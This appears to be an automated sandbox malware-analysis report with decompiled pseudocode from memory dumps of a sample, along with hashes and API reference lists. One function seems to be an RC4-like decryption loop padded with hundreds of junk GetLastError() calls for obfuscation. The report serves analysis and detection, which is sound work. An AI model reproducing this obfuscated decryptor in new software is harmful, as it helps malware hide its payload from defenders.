				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t68;
				unsigned int _t72;
				unsigned int _t75;
				unsigned int _t77;
				signed int _t80;
				void* _t81;
				unsigned int _t84;
				char _t87;
				signed int _t89;
				intOrPtr _t91;
				void* _t93;
				signed int _t94;
				signed int* _t96;
				unsigned int _t98;
				signed int _t100;
				signed int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t107;
				unsigned int _t109;
				void* _t111;
				unsigned int _t113;
				signed int _t114;
				signed int _t116;
				void* _t119;
				signed int _t120;
				intOrPtr _t121;
				unsigned int _t122;
				signed int _t123;
				void* _t124;
				unsigned int _t129;
				signed int _t135;
				signed int _t138;
				signed int _t141;
				unsigned int _t143;
				unsigned int _t144;
				unsigned int _t146;
				signed int _t148;
				signed int _t150;
				signed int _t153;

				_t96 = _a12;
				_t113 = 0;
				_t68 = 0x404e;
				_v8 = 0x404e;
				 *_t96 = 0;
				_t96[1] = 0;
				_t96[2] = 0;
				if(_a8 <= 0) {
					L28:
					if(_t96[2] != _t113) {
						L32:
						_t114 = _t96[2];
						if((_t114 & 0x00008000) != 0) {
							L36:
							_t96[2] = _t68;
							return _t68;
						}
						_t129 =  *_t96;
						_t141 = _t96[1];
						do {
							_t98 = _t141;
							_t141 = _t141 + _t141 | _t129 >> 0x0000001f;
							_t114 = _t114 + _t114 | _t98 >> 0x0000001f;
							_t68 = _v8 + 0xffff;
							_t129 = _t129 + _t129;
							_v8 = _t68;
						} while ((_t114 & 0x00008000) == 0);
						 *_t96 = _t129;
						_t96[1] = _t141;
						_t96[2] = _t114;
						goto L36;
					}
					_t116 = _t96[1];
					do {
						_t100 =  *_t96;
						_t143 = _t116;
						_t72 = _t100;
						_t116 = _t116 << 0x00000010 | _t72 >> 0x00000010;
						_t144 = _t143 >> 0x10;
						_t68 = _v8 + 0xfff0;
						 *_t96 = _t100 << 0x10;
						_v8 = _t68;
					} while (_t144 == 0);
					_t96[1] = _t116;
					_t96[2] = _t144;
					goto L32;
				} else {
					_t102 = 0;
					_a12 = 0;
					_v16 = 0;
					_v12 = 0;
					do {
						_t75 = _t102;
						_t119 = _v16 + _v16;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t146 = _a12;
						_t103 = _t146;
						_t148 = _t146 + _t146 | _t75 >> 0x0000001f;
						_t77 = _t119;
						_t105 = _t148;
						_t120 = _t119 + _t119;
						_t150 = _t148 + _t148 | _t77 >> 0x0000001f;
						 *_t96 = _t120;
						_t135 = (_v12 + _v12 | _t103 >> 0x0000001f) + (_v12 + _v12 | _t103 >> 0x0000001f) | _t105 >> 0x0000001f;
						_t96[1] = _t150;
						_t80 = _v32 + _t120;
						_t96[2] = _t135;
						_t107 = 0;
						_a12 = _t80;
						if(_t80 < _t120 || _t80 < _v32) {
							_t107 = 1;
						}
						 *_t96 = _t80;
						if(_t107 != 0) {
							_t94 = _t150;
							_t111 = 0;
							_t150 = _t94 + 1;
							if(_t150 < _t94 || _t150 < 1) {
								_t111 = 1;
							}
							_t96[1] = _t150;
							if(_t111 != 0) {
								_t135 = _t135 + 1;
								_t96[2] = _t135;
							}
						}
						_t121 = _v28;
						_t81 = 0;
						_t109 = _t150 + _t121;
						_v16 = _t109;
						if(_t109 < _t150 || _t109 < _t121) {
							_t81 = 1;
						}
						_t96[1] = _t109;
						if(_t81 != 0) {
							_t135 = _t135 + 1;
							_t96[2] = _t135;
						}
						_t122 = _a12;
						_t84 = _t122;
						_t123 = _t122 + _t122;
						_v20 = _v20 & 0x00000000;
						_t153 = _v16 + _v16 | _t84 >> 0x0000001f;
						_t138 = _t135 + _v24 + _t135 + _v24 | _t109 >> 0x0000001f;
						 *_t96 = _t123;
						_t96[1] = _t153;
						_t96[2] = _t138;
						_t87 =  *_a4;
						_a12 = _t153;
						_v12 = _t138;
						_v32 = _t87;
						_t102 = _t123 + _t87;
						_v16 = _t102;
						if(_t102 < _t123 || _t102 < _t87) {
							_t89 = 1;
						} else {
							_t89 = _v20;
						}
						 *_t96 = _t102;
						if(_t89 != 0) {
							_t93 = _t153;
							_t124 = 0;
							_t153 = _t93 + 1;
							_a12 = _t153;
							if(_t153 < _t93 || _t153 < 1) {
								_t124 = 1;
							}
							_t96[1] = _t153;
							if(_t124 != 0) {
								_t138 = _t138 + 1;
								_v12 = _t138;
								_t96[2] = _t138;
							}
						}
						_t91 = _a8 - 1;
						_t96[1] = _t153;
						_a4 = _a4 + 1;
						_t96[2] = _t138;
						_a8 = _t91;
					} while (_t91 != 0);
					_t68 = 0x404e;
					_t113 = 0;
					goto L28;
				}
			}

0x0115a188
0x0115a18b
0x0115a18d
0x0115a194
0x0115a197
0x0115a199
0x0115a19c
0x0115a1a2
0x0115a2e4
0x0115a2e7
0x0115a317
0x0115a317
0x0115a320
0x0115a356
0x0115a358
0x0115a360
0x0115a360
0x0115a322
0x0115a324
0x0115a327
0x0115a32a
0x0115a330
0x0115a33a
0x0115a33c
0x0115a341
0x0115a343
0x0115a346
0x0115a34e
0x0115a350
0x0115a353
0x00000000
0x0115a353
0x0115a2e9
0x0115a2ec
0x0115a2ec
0x0115a2ef
0x0115a2f1
0x0115a2f8
0x0115a2fa
0x0115a303
0x0115a308
0x0115a30a
0x0115a30d
0x0115a311
0x0115a314
0x00000000
0x0115a1a8
0x0115a1a8
0x0115a1aa
0x0115a1ad
0x0115a1b0
0x0115a1b3
0x0115a1bc
0x0115a1c0
0x0115a1c2
0x0115a1c3
0x0115a1c4
0x0115a1c5
0x0115a1c9
0x0115a1cf
0x0115a1d7
0x0115a1de
0x0115a1df
0x0115a1e6
0x0115a1e8
0x0115a1ef
0x0115a1f1
0x0115a1f4
0x0115a1f6
0x0115a1f9
0x0115a1fb
0x0115a200
0x0115a209
0x0115a209
0x0115a20a
0x0115a20e
0x0115a210
0x0115a212
0x0115a214
0x0115a219
0x0115a222
0x0115a222
0x0115a223
0x0115a228
0x0115a22a
0x0115a22b
0x0115a22b
0x0115a228
0x0115a22e
0x0115a231
0x0115a233
0x0115a236
0x0115a23b
0x0115a243
0x0115a243
0x0115a244
0x0115a249
0x0115a24b
0x0115a24c
0x0115a24c
0x0115a24f
0x0115a253
0x0115a257
0x0115a25e
0x0115a267
0x0115a26f
0x0115a271
0x0115a273
0x0115a276
0x0115a279
0x0115a27c
0x0115a27f
0x0115a282
0x0115a285
0x0115a288
0x0115a28d
0x0115a295
0x0115a298
0x0115a298
0x0115a298
0x0115a29b
0x0115a29f
0x0115a2a2
0x0115a2a3
0x0115a2a5
0x0115a2a8
0x0115a2ad
0x0115a2b6
0x0115a2b6
0x0115a2b7
0x0115a2bc
0x0115a2be
0x0115a2bf
0x0115a2c2
0x0115a2c2
0x0115a2bc
0x0115a2c8
0x0115a2c9
0x0115a2cc
0x0115a2cf
0x0115a2d2
0x0115a2d5
0x0115a2dd
0x0115a2e2
0x00000000
0x0115a2e2

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e52a77a0cb2d3a74e32532e65491bd47f3961e9d04959b8cb0bce67e55273c6e
Instruction ID: dbd8f9d29dfac79de837f0271c25aa2aef6c39a4309e6879c626864224eaef8f
Opcode Fuzzy Hash: e52a77a0cb2d3a74e32532e65491bd47f3961e9d04959b8cb0bce67e55273c6e
Instruction Fuzzy Hash: 31615A72D00225CFDB58CF6DD8901AAFBE6EF85350719C26AED19DB20AE770D941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003F0456, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: fea67d49f917a277caa7537fdb8db321c17b652124a2484f1e17c570fa859e84
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: 0B319C36A0434A8FC715DF1DC48093AB3E4FF89314F4609ADEA9587313D334E9068B91

Uniqueness

Uniqueness Score: -1.00%

Function 0115D060, Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0115D060(signed int _a4, signed char _a8, intOrPtr _a12) {
				intOrPtr _t13;
				void* _t14;
				signed char _t20;
				signed char _t24;
				signed int _t27;
				signed char _t32;
				unsigned int _t33;
				signed char _t35;
				signed char _t37;
				signed int _t39;

				_t13 = _a12;
				if(_t13 == 0) {
					L11:
					return _t13;
				} else {
					_t39 = _a4;
					_t20 = _a8;
					if((_t39 & 0x00000003) == 0) {
						L5:
						_t14 = _t13 - 4;
						if(_t14 < 0) {
							L8:
							_t13 = _t14 + 4;
							if(_t13 == 0) {
								goto L11;
							} else {
								while(1) {
									_t24 =  *_t39;
									_t39 = _t39 + 1;
									if((_t24 ^ _t20) == 0) {
										goto L20;
									}
									_t13 = _t13 - 1;
									if(_t13 != 0) {
										continue;
									} else {
										goto L11;
									}
									goto L24;
								}
								goto L20;
							}
						} else {
							_t20 = ((_t20 << 8) + _t20 << 0x10) + (_t20 << 8) + _t20;
							do {
								_t27 =  *_t39 ^ _t20;
								_t39 = _t39 + 4;
								if(((_t27 ^ 0xffffffff ^ 0x7efefeff + _t27) & 0x81010100) == 0) {
									goto L12;
								} else {
									_t32 =  *(_t39 - 4) ^ _t20;
									if(_t32 == 0) {
										return _t39 - 4;
									} else {
										_t33 = _t32 ^ _t20;
										if(_t33 == 0) {
											return _t39 - 3;
										} else {
											_t35 = _t33 >> 0x00000010 ^ _t20;
											if(_t35 == 0) {
												return _t39 - 2;
											} else {
												if((_t35 ^ _t20) == 0) {
													goto L20;
												} else {
													goto L12;
												}
											}
										}
									}
								}
								goto L24;
								L12:
								_t14 = _t14 - 4;
							} while (_t14 >= 0);
							goto L8;
						}
					} else {
						while(1) {
							_t37 =  *_t39;
							_t39 = _t39 + 1;
							if((_t37 ^ _t20) == 0) {
								break;
							}
							_t13 = _t13 - 1;
							if(_t13 == 0) {
								goto L11;
							} else {
								if((_t39 & 0x00000003) != 0) {
									continue;
								} else {
									goto L5;
								}
							}
							goto L24;
						}
						L20:
						return _t39 - 1;
					}
				}
				L24:
			}

0x0115d060
0x0115d067
0x0115d0bc
0x0115d0bc
0x0115d069
0x0115d069
0x0115d06f
0x0115d079
0x0115d091
0x0115d091
0x0115d094
0x0115d0a8
0x0115d0a8
0x0115d0ab
0x00000000
0x0115d0ad
0x0115d0ad
0x0115d0ad
0x0115d0af
0x0115d0b4
0x00000000
0x00000000
0x0115d0b6
0x0115d0b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0115d0b9
0x00000000
0x0115d0ad
0x0115d096
0x0115d0a3
0x0115d0c2
0x0115d0c4
0x0115d0d2
0x0115d0db
0x00000000
0x0115d0dd
0x0115d0e0
0x0115d0e2
0x0115d10c
0x0115d0e4
0x0115d0e4
0x0115d0e6
0x0115d106
0x0115d0e8
0x0115d0eb
0x0115d0ed
0x0115d100
0x0115d0ef
0x0115d0f1
0x00000000
0x0115d0f3
0x00000000
0x0115d0f3
0x0115d0f1
0x0115d0ed
0x0115d0e6
0x0115d0e2
0x00000000
0x0115d0bd
0x0115d0bd
0x0115d0bd
0x00000000
0x0115d0a7
0x0115d07b
0x0115d07b
0x0115d07b
0x0115d07d
0x0115d082
0x00000000
0x00000000
0x0115d084
0x0115d087
0x00000000
0x0115d089
0x0115d08f
0x00000000
0x00000000
0x00000000
0x00000000
0x0115d08f
0x00000000
0x0115d087
0x0115d0f6
0x0115d0fa
0x0115d0fa
0x0115d079
0x00000000

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 4bc19e148b954cbf1d636019cfcd04bb80f717372aa1a30c2680239bbd5e1ba9
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: D1115977200042C3FF9C8AADF4B45BBAB95EAC6261B2D4365CA724B744C32390439701

Uniqueness

Uniqueness Score: -1.00%

Function 003F689E, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 011443D4, Relevance: 405.4, APIs: 324, Instructions: 389
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011443D4() {
				signed int _t52;
				void* _t433;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t433 - 0x14)) =  *((intOrPtr*)(_t433 - 0x14)) + 1;
					L1:
					if( *((intOrPtr*)(_t433 - 0x14)) <  *((intOrPtr*)(_t433 + 0xc))) {
						L2:
						 *(_t433 - 8) = ( *(_t433 - 8) + 1) %  *0x1169004;
						 *(_t433 - 0x10) = (( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) & 0x000000ff) +  *(_t433 - 0x10)) %  *0x1169004;
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						 *((char*)(_t433 - 1)) = ( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 0x10)) & 0x000000ff) +  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						 *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 0x10)) = ( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) & 0x000000ff) +  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						 *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) =  *((intOrPtr*)(_t433 - 1));
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						 *((intOrPtr*)(_t433 - 0x1c)) = (( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) & 0x000000ff) + ( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 0x10)) & 0x000000ff)) %  *0x1169004 +  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						_t52 =  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						 *((char*)( *((intOrPtr*)(_t433 + 0x18)) +  *((intOrPtr*)(_t433 - 0x14)))) =  *( *((intOrPtr*)(_t433 + 8)) +  *((intOrPtr*)(_t433 - 0x14))) & 0x000000ff ^ ( *( *((intOrPtr*)(_t433 - 0xc)) +  *((intOrPtr*)(_t433 - 0x1c))) & 0x000000ff) + _t52;
						continue;
					}
					L3:
					return _t52;
					L4:
				}
			}

0x011443d4
0x011443d4
0x011443d4
0x011443da
0x011443dd
0x011443e3
0x011443e9
0x011443f7
0x0114440e
0x01144411
0x01144417
0x0114441d
0x01144423
0x01144429
0x0114442f
0x01144435
0x0114443b
0x01144441
0x01144447
0x0114444d
0x01144453
0x01144459
0x0114445f
0x01144465
0x0114446b
0x01144471
0x01144477
0x0114447d
0x01144483
0x01144489
0x0114448f
0x01144495
0x0114449b
0x011444a1
0x011444a7
0x011444ad
0x011444b3
0x011444b9
0x011444bf
0x011444c5
0x011444cb
0x011444d1
0x011444d7
0x011444dd
0x011444e3
0x011444e9
0x011444ef
0x011444f5
0x011444fb
0x01144501
0x01144507
0x0114450d
0x01144513
0x01144519
0x0114451f
0x01144525
0x0114452b
0x01144531
0x01144537
0x0114453d
0x01144543
0x01144549
0x0114454f
0x01144555
0x0114455b
0x01144561
0x01144567
0x0114456d
0x01144573
0x01144579
0x0114457f
0x01144585
0x0114458b
0x01144591
0x01144597
0x0114459d
0x011445a3
0x011445a9
0x011445af
0x011445b5
0x011445bb
0x011445c1
0x011445c7
0x011445cd
0x011445d3
0x011445d9
0x011445df
0x011445e5
0x011445eb
0x011445f1
0x011445f7
0x011445fd
0x01144603
0x01144609
0x0114460f
0x01144615
0x0114461b
0x01144621
0x01144627
0x0114462d
0x01144633
0x01144639
0x0114463f
0x01144645
0x0114464b
0x01144651
0x01144657
0x0114465d
0x01144663
0x01144669
0x0114466f
0x01144675
0x0114467b
0x01144681
0x01144687
0x0114468d
0x01144693
0x01144699
0x0114469f
0x011446a5
0x011446ab
0x011446b1
0x011446b7
0x011446bd
0x011446c3
0x011446c9
0x011446cf
0x011446d5
0x011446db
0x011446e1
0x011446e7
0x011446ed
0x011446f3
0x011446f9
0x011446ff
0x01144705
0x0114470b
0x01144711
0x01144717
0x0114471d
0x01144723
0x01144729
0x0114472f
0x01144735
0x0114473b
0x01144741
0x01144747
0x0114474d
0x01144753
0x01144759
0x0114475f
0x01144765
0x0114476b
0x01144771
0x01144777
0x0114477d
0x01144783
0x01144789
0x0114478f
0x01144795
0x0114479b
0x011447a1
0x011447a7
0x011447ad
0x011447b3
0x011447b9
0x011447bf
0x011447c5
0x011447cb
0x011447d1
0x011447d7
0x011447dd
0x011447e3
0x011447e9
0x01144801
0x0114481c
0x01144827
0x01144829
0x0114482f
0x01144835
0x0114483b
0x01144841
0x01144847
0x0114484d
0x01144853
0x01144859
0x0114485f
0x01144865
0x0114486b
0x01144871
0x01144877
0x0114487d
0x01144883
0x01144889
0x0114488f
0x01144895
0x0114489b
0x011448a1
0x011448a7
0x011448ad
0x011448b3
0x011448b9
0x011448bf
0x011448c5
0x011448cb
0x011448d1
0x011448d7
0x011448dd
0x011448e3
0x011448e9
0x011448ef
0x011448f5
0x011448fb
0x01144901
0x01144907
0x0114490d
0x01144913
0x01144919
0x0114491f
0x01144925
0x0114492b
0x01144931
0x01144937
0x0114493d
0x01144943
0x01144949
0x0114494f
0x01144955
0x0114495b
0x01144961
0x01144967
0x0114496d
0x01144973
0x01144979
0x0114497f
0x01144985
0x0114498b
0x01144991
0x01144997
0x0114499d
0x011449a3
0x011449a9
0x011449af
0x011449b5
0x011449bb
0x011449c1
0x011449c7
0x011449cd
0x011449d3
0x011449d9
0x011449df
0x011449e5
0x011449eb
0x011449f1
0x011449f7
0x011449fd
0x01144a03
0x01144a09
0x01144a0f
0x01144a15
0x01144a1b
0x01144a21
0x01144a27
0x01144a2d
0x01144a33
0x01144a39
0x01144a3f
0x01144a45
0x01144a4b
0x01144a51
0x01144a57
0x01144a5d
0x01144a63
0x01144a69
0x01144a6f
0x01144a75
0x01144a7b
0x01144a81
0x01144a87
0x01144a8d
0x01144a93
0x01144a99
0x01144a9f
0x01144aa5
0x01144aab
0x01144ab1
0x01144ab7
0x01144abd
0x01144ac3
0x01144ac9
0x01144acf
0x01144ad5
0x01144adb
0x01144ae1
0x01144ae7
0x01144aed
0x01144af3
0x01144af9
0x01144aff
0x01144b05
0x01144b0b
0x01144b11
0x01144b17
0x01144b1d
0x01144b23
0x01144b29
0x01144b2f
0x01144b35
0x01144b3b
0x01144b41
0x01144b47
0x01144b4d
0x01144b53
0x01144b59
0x01144b5f
0x01144b65
0x01144b6b
0x01144b71
0x01144b77
0x01144b7d
0x01144b83
0x01144b89
0x01144b8f
0x01144b95
0x01144b9b
0x01144ba1
0x01144ba7
0x01144bad
0x01144bb3
0x01144bb9
0x01144bbf
0x01144bc5
0x01144bcb
0x01144bd1
0x01144bd7
0x01144bdd
0x01144c08
0x01144c20
0x01144c2e
0x00000000
0x01144c2e
0x01144c35
0x01144c38
0x00000000
0x01144c38

APIs

GetLastError.KERNEL32 ref: 01144411
GetLastError.KERNEL32 ref: 01144417
GetLastError.KERNEL32 ref: 0114441D
GetLastError.KERNEL32 ref: 01144423
GetLastError.KERNEL32 ref: 01144429
GetLastError.KERNEL32 ref: 0114442F
GetLastError.KERNEL32 ref: 01144435
GetLastError.KERNEL32 ref: 0114443B
GetLastError.KERNEL32 ref: 01144441
GetLastError.KERNEL32 ref: 01144447
GetLastError.KERNEL32 ref: 0114444D
GetLastError.KERNEL32 ref: 01144453
GetLastError.KERNEL32 ref: 01144459
GetLastError.KERNEL32 ref: 0114445F
GetLastError.KERNEL32 ref: 01144465
GetLastError.KERNEL32 ref: 0114446B
GetLastError.KERNEL32 ref: 01144471
GetLastError.KERNEL32 ref: 01144477
GetLastError.KERNEL32 ref: 0114447D
GetLastError.KERNEL32 ref: 01144483
GetLastError.KERNEL32 ref: 01144489
GetLastError.KERNEL32 ref: 0114448F
GetLastError.KERNEL32 ref: 01144495
GetLastError.KERNEL32 ref: 0114449B
GetLastError.KERNEL32 ref: 011444A1
GetLastError.KERNEL32 ref: 011444A7
GetLastError.KERNEL32 ref: 011444AD
GetLastError.KERNEL32 ref: 011444B3
GetLastError.KERNEL32 ref: 011444B9
GetLastError.KERNEL32 ref: 011444BF
GetLastError.KERNEL32 ref: 011444C5
GetLastError.KERNEL32 ref: 011444CB
GetLastError.KERNEL32 ref: 011444D1
GetLastError.KERNEL32 ref: 011444D7
GetLastError.KERNEL32 ref: 011444DD
GetLastError.KERNEL32 ref: 011444E3
GetLastError.KERNEL32 ref: 011444E9
GetLastError.KERNEL32 ref: 011444EF
GetLastError.KERNEL32 ref: 011444F5
GetLastError.KERNEL32 ref: 011444FB
GetLastError.KERNEL32 ref: 01144501
GetLastError.KERNEL32 ref: 01144507
GetLastError.KERNEL32 ref: 0114450D
GetLastError.KERNEL32 ref: 01144513
GetLastError.KERNEL32 ref: 01144519
GetLastError.KERNEL32 ref: 0114451F
GetLastError.KERNEL32 ref: 01144525
GetLastError.KERNEL32 ref: 0114452B
GetLastError.KERNEL32 ref: 01144531
GetLastError.KERNEL32 ref: 01144537
GetLastError.KERNEL32 ref: 0114453D
GetLastError.KERNEL32 ref: 01144543
GetLastError.KERNEL32 ref: 01144549
GetLastError.KERNEL32 ref: 0114454F
GetLastError.KERNEL32 ref: 01144555
GetLastError.KERNEL32 ref: 0114455B
GetLastError.KERNEL32 ref: 01144561
GetLastError.KERNEL32 ref: 01144567
GetLastError.KERNEL32 ref: 0114456D
GetLastError.KERNEL32 ref: 01144573
GetLastError.KERNEL32 ref: 01144579
GetLastError.KERNEL32 ref: 0114457F
GetLastError.KERNEL32 ref: 01144585
GetLastError.KERNEL32 ref: 0114458B
GetLastError.KERNEL32 ref: 01144591
GetLastError.KERNEL32 ref: 01144597
GetLastError.KERNEL32 ref: 0114459D
GetLastError.KERNEL32 ref: 011445A3
GetLastError.KERNEL32 ref: 011445A9
GetLastError.KERNEL32 ref: 011445AF
GetLastError.KERNEL32 ref: 011445B5
GetLastError.KERNEL32 ref: 011445BB
GetLastError.KERNEL32 ref: 011445C1
GetLastError.KERNEL32 ref: 011445C7
GetLastError.KERNEL32 ref: 011445CD
GetLastError.KERNEL32 ref: 011445D3
GetLastError.KERNEL32 ref: 011445D9
GetLastError.KERNEL32 ref: 011445DF
GetLastError.KERNEL32 ref: 011445E5
GetLastError.KERNEL32 ref: 011445EB
GetLastError.KERNEL32 ref: 011445F1
GetLastError.KERNEL32 ref: 011445F7
GetLastError.KERNEL32 ref: 011445FD
GetLastError.KERNEL32 ref: 01144603
GetLastError.KERNEL32 ref: 01144609
GetLastError.KERNEL32 ref: 0114460F
GetLastError.KERNEL32 ref: 01144615
